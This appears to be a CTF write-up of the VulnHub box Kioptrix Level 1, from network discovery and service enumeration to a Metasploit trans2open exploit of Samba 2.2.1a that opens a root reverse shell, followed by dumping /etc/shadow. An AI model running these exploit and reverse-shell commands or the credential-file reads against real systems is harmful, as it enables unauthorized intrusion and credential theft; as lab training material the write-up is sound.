CTF WRITEUP VULNHUB BLACK BOX LINUX

Kioptrix: Level 1 — VulnHub Easy

person

Written By

Th0mas_sh316y

Difficulty

Platform

VulnHub

Target IP

192.168.1.5

Kioptrix Level 1 Machine
Machine: Kioptrix Level 1 · Easy · Linux · VulnHub

Kioptrix Level 1 is probably the most recommended beginner box in the VulnHub ecosystem — and for good reason. It teaches you the exact workflow that carries into professional pentesting: discover the host, enumerate services properly, identify the software version, look for a public exploit, and run it. No rabbit holes, no CTF trickery. The whole machine took me under an hour start to finish, and the box doesn't even require privilege escalation — the Samba exploit lands you root directly.

01_Host_Discovery

Before nmap, I used netdiscover to passively identify the target on the local subnet. In a lab setting this is sometimes faster than scanning a full range, especially with older VMs that may not respond to pings.

terminal / netdiscover
$ sudo netdiscover -r 192.168.1.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 120
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor
 -----------------------------------------------------------------------------
 192.168.1.5   08:00:27:xx:xx:xx      1      60  PCS Systemtechnik (VirtualBox)

02_Port_Scan

Full service version scan. The important ports here are 80/443 (Apache 1.3.20 — ancient), 139 (Samba on SMB), and 22 (OpenSSH 2.9p2). SSH 2.9 is prehistoric but the interesting one is Samba. Version 2.2.1a is a massive red flag.

terminal / nmap
$ sudo nmap -sC -sV -p- --min-rate 4000 192.168.1.5

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix) mod_ssl/2.8.4)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) mod_ssl/2.8.4
32768/tcp open  status      1 (RPC #100024)

03_SMB_Enumeration

Nmap didn't catch the exact Samba version — it rarely does on old boxes. enum4linux pulls the full banner. Samba 2.2.1a — that string alone is enough. Anything below 2.2.8 is vulnerable to trans2open (CVE-2003-0201), a heap overflow that gives unauthenticated remote code execution as root.

terminal / enum4linux
$ enum4linux -a 192.168.1.5

[+] Server 192.168.1.5 allows sessions using username '', password ''
[+] Got OS info for 192.168.1.5 from smbclient:
    Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

[+] Enumerating users using SID...
[+] Share Enumeration on 192.168.1.5
    Sharename   Type  Comment
    ---------   ----  -------
    IPC$        IPC   IPC Service (Samba Server)
    ADMIN$      Disk  IPC Service (Samba Server)

Key Finding — CVE-2003-0201

Samba 2.2.x before 2.2.8 contains a heap-based buffer overflow in the trans2open request handling. Unauthenticated attackers can send a crafted packet that overwrites heap memory and spawns a shell as root. No authentication required, no prior foothold needed — just a reachable port 139.

04_Exploit_Research

Searchsploit confirms there's a Metasploit module for this exact version. I always double-check with searchsploit before firing up Metasploit — it's good practice, and occasionally you find a standalone exploit that's faster to run without the framework overhead.

terminal / searchsploit
$ searchsploit samba 2.2

----------------------------------------------------------------------
 Exploit Title                                    |  Path
----------------------------------------------------------------------
Samba 2.2.0 - 2.2.8 (OSX) - trans2open (Meta..  | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Exec...  | multiple/remote/7.pl
Samba 2.2.x - 'call_trans2open' Remote Buffer... | unix/remote/22.c
----------------------------------------------------------------------

# Metasploit module path:
# exploit/linux/samba/trans2open

05_Exploitation

Into Metasploit. One thing to watch here — the default payload for this module is linux/x86/meterpreter/reverse_tcp, which tends to crash on older Linux kernels. I switched it to the non-staged linux/x86/shell_reverse_tcp. That's a detail a lot of writeups skip, and it'll leave you wondering why the exploit "didn't work" when it actually did.

terminal / msfconsole
$ msfconsole -q

msf6 > use exploit/linux/samba/trans2open
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.1.5

# Important: default meterpreter payload crashes on old kernels
# Switch to the non-staged shell payload
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set LHOST 192.168.1.100
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.5:139 - Trying return address 0xbffffdfc...
[*] 192.168.1.5:139 - Trying return address 0xbffffcfc...
[*] Command shell session 1 opened (192.168.1.100:4444 → 192.168.1.5:1023)

whoami
root

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

Root on boot. No privilege escalation step. The reason this works so cleanly is that smbd runs as root on this machine — every connection it handles inherits that context. The trans2open overflow hijacks a request handler while smbd is running as root, so the shell it spawns is automatically root.

Technique Note — Why Switch the Payload

Meterpreter is a multi-stage payload — it sends a small stub first, which then calls home to download the main agent. On Linux 2.4.x kernels, the memory layout doesn't support this cleanly and the session dies mid-handshake. shell_reverse_tcp is single-stage: the exploit injects the full payload at once and you get a raw shell. Simpler is better on ancient targets.

06_Loot

With a root shell I grabbed the shadow file and a few system details. There's no formal "flag" on Kioptrix — the goal is simply root access. I always check /etc/passwd and /etc/shadow to document credential access as part of a real engagement.

terminal / post-exploitation
# Enumerate system info
cat /etc/redhat-release
Red Hat Linux release 7.2 (Enigma)

# Grab credential hashes
cat /etc/shadow
root:[REDACTED]:11469:0:99999:7:::
bin:*:11469:0:99999:7:::
operator:[REDACTED]:11474:0:99999:7:::
john:[REDACTED]:11474:0:99999:7:::

# Hostname
hostname
kioptrix.level1

07_Attack_Chain_Summary

  1. 01 netdiscover → identify target at 192.168.1.5
  2. 02 Nmap -sC -sV → ports 22, 80, 111, 139, 443, 32768
  3. 03 enum4linux → Samba 2.2.1a (MYGROUP domain)
  4. 04 searchsploit → CVE-2003-0201 (trans2open heap overflow)
  5. 05 Metasploit: exploit/linux/samba/trans2open + shell_reverse_tcp payload
  6. 06 Reverse shell → uid=0(root) — no privesc needed
  7. 07 Dumped /etc/shadow → documented credential access